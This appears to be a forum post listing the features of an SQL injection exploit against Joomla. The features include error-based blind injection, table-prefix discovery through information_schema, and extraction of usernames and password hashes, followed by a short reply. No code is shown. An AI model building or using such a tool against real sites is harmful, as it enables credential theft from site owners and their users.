Features:
1. Blind Injection based on induced sql errors - better performance compared to delay-based exploitation (benchmark() and sleep())
2. Can handle bad network conditions (common scenario using proxies)
3. Is able to retrieve custom sql table prefix from information_schema
4. Can fetch username and password hash for specific user ID and/or user group
5. Can handle Joomla's 32-, 49- and 65-chars hashes
6. Thorough pre-testing (4 tests)
Prerequisites:
1. MySql >= 4.1 with subselects suppport for exploit to work
2. MySql >= 5.0 with information_schema for prefix autofetcher

You mean forum password restore functionality? Noone has complained so far, so I have no idea
Maybe mailbox spamfiltering? |
